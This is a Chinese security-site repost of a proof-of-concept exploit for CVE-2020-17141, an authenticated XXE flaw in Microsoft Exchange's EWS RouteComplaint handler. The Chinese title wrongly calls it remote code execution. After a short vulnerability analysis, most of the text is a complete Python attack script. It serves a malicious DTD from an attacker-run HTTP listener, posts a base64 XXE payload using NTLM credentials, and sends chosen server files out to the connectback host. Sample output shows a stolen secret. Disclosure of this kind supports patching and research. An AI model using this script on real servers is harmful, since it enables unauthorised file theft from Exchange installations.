CVE-2020-17141-POC-远程执行代码漏洞

admin 2022年1月13日09:23:05评论160 views字数 6582阅读21分56秒阅读模式

  

Microsoft Exchange远程执行代码漏洞


POC:


https://srcincite.io/pocs/cve-2020-17141.py.txt


#!/usr/bin/env python3"""Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure VulnerabilityAdvisory: https://srcincite.io/advisories/src-2020-0031/Patched in: https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17141
## Summary
This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of a RouteComplaint SOAP request to the EWS service endpoint. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.
## Vulnerability Analysis
Inside of the `Microsoft.Exchange.Services.dll` we can see the following class:
```c#namespace Microsoft.Exchange.Services.Core{ internal sealed class RouteComplaint : SingleStepServiceCommand<ICallContext, RouteComplaintRequest, RouteComplaintResponseMessage> {
//...
internal override ServiceResult<RouteComplaintResponseMessage> Execute() { if (base.CallContext.EffectiveCaller == null) { throw new ArgumentNullException("this.CallContext.EffectiveCaller", "EffectiveCaller must not be null."); } this.abuseReportResults = null; IAbuseReportContext abuseReportContext = this.ParseComplaintData(); // 1 IMailboxSession imailboxSessionBySmtpAddress = base.CallContext.SessionCache.GetIMailboxSessionBySmtpAddress(base.CallContext.EffectiveCaller.PrimarySmtpAddress, false); IWasclContext wasclContext = new WasclContext(ProtocolClientType.XMRAR, null, null, string.Empty, ""); imailboxSessionBySmtpAddress.WasclContext = wasclContext; this.abuseReportResults = WasclWrapper.ProcessAbuseReport(abuseReportContext, imailboxSessionBySmtpAddress); return new ServiceResult<RouteComplaintResponseMessage>(new RouteComplaintResponseMessage(ServiceResultCode.Success, null, this.EncodeComplaintDataForResponse()), ServiceResultCode.Success); }
// ...
private IAbuseReportContext ParseComplaintData() { if (base.Request.Data == null) { ExTraceGlobals.GetEventsCallTracer.TraceDebug((long)this.GetHashCode(), "RouteComplaint.Execute - RouteComplaintRequest data is null"); throw new ArgumentNullException("this.complaintData", "ComplaintData must not be null in order to process the abuse report."); } XmlDocument xmlDocument = new XmlDocument(); xmlDocument.LoadXml(Encoding.UTF8.GetString(base.Request.Data)); // 2 XmlNode data = xmlDocument.SelectSingleNode("complaintData");```
At *[1]* we can see the `RouteComplaint.ParseComplaintData` method is called from the `Execute` method and at *[2]* the code uses attacker supplied data in a `LoadXml` to trigger entity processing.
## Proof of Concept
Change anything within the [] brackets.
```POST /ews/Exchange.asmx HTTP/1.1Host: [target]Content-type: text/xml; charset=utf-8Authentication: [ntlm auth]Content-Length: [length]
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"> <soap:Header> <t:RequestServerVersion Version="Exchange2010_SP2"></t:RequestServerVersion> </soap:Header> <soap:Body> <m:RouteComplaint MessageDisposition="SaveOnly"> <m:Data>[base64 encoded XXE payload]</m:Data> </m:RouteComplaint> </soap:Body></soap:Envelope>```
## Example
```researcher@incite:~$ ./poc.py(+) usage: ./poc.py <target> <user:pass> <connectback ip:port> <file>(+) eg: ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"(+) triggered xxe in exchange!(+) stolen: /leaked?<![CDATA[omgthisisasecret0day]]>```"""
import reimport sysimport urllib3import requestsimport urllib.parsefrom threading import Threadfrom base64 import b64encodefrom requests_ntlm2 import HttpNtlmAuthfrom http.server import BaseHTTPRequestHandler, HTTPServerurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class xxe(BaseHTTPRequestHandler): def log_message(self, format, *args): return def _set_response(self, d): self.send_response(200) self.send_header('Content-type', 'application/xml') self.send_header('Content-Length', len(d)) self.end_headers() def do_GET(self): if "leaked" in self.path: print("(+) stolen: %s" % urllib.parse.unquote(self.path)) message = "<![CDATA[ <![ INCLUDE[]]> ]]>" self._set_response(message) self.wfile.write(message.encode('utf-8')) self.wfile.write('n'.encode('utf-8')) elif "poc.dtd" in self.path: print("(+) triggered xxe in exchange!") message = """<!ENTITY %% payload "%%start;%%stuff;%%end;"><!ENTITY %% param1 '<!ENTITY &#x25; external SYSTEM "http://%s:%d/leaked?%%payload;">'>%%param1; %%external;""" % (host, int(port)) self._set_response(message) self.wfile.write(message.encode('utf-8')) self.wfile.write('n'.encode('utf-8'))
def main(t, usr, pwd): server = HTTPServer(('0.0.0.0', int(port)), xxe) handlerthr = Thread(target=server.serve_forever, args=()) handlerthr.daemon = True handlerthr.start() username = usr.split("@")[0] domain = usr.split("@")[1] h = {"Content-type" : "text/xml; charset=utf-8"} xxe_payload = """<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [ <!ENTITY %% start "<![CDATA["> <!ENTITY %% stuff SYSTEM "file:///%s"><!ENTITY %% end "]]>"><!ENTITY %% dtd SYSTEM "http://%s:%d/poc.dtd">%%dtd;]>""" % (file, host, int(port)) d = """<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"> <soap:Header> <t:RequestServerVersion Version="Exchange2010_SP2"></t:RequestServerVersion> </soap:Header> <soap:Body> <m:RouteComplaint MessageDisposition="SaveOnly"> <m:Data>%s</m:Data> </m:RouteComplaint> </soap:Body></soap:Envelope>""" % b64encode(xxe_payload.encode()).decode("utf-8") requests.post("https://%s/ews/Exchange.asmx" % t, data=d, headers=h, verify=False, auth=HttpNtlmAuth('%s\%s' % (domain,username), pwd)) if __name__ == '__main__': if len(sys.argv) != 5: print("(+) usage: %s <target> <user:pass> <connectback ip:port> <file>" % sys.argv[0]) print("(+) eg: %s 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"" % sys.argv[0]) sys.exit(-1) trgt = sys.argv[1] assert ":" in sys.argv[2], "(-) you need a user and password!" usr = sys.argv[2].split(":")[0] pwd = sys.argv[2].split(":")[1] host = sys.argv[3] port = 9090 file = sys.argv[4] if ":" in sys.argv[3]: host = sys.argv[3].split(":")[0] port = sys.argv[3].split(":")[1] assert port.isdigit(), "(-) not a port number!" main(trgt, usr, pwd)


本文始发于微信公众号(Khan安全攻防实验室):CVE-2020-17141-POC-远程执行代码漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月13日09:23:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-17141-POC-远程执行代码漏洞http://cn-sec.com/archives/535251.html

发表评论

匿名网友 填写信息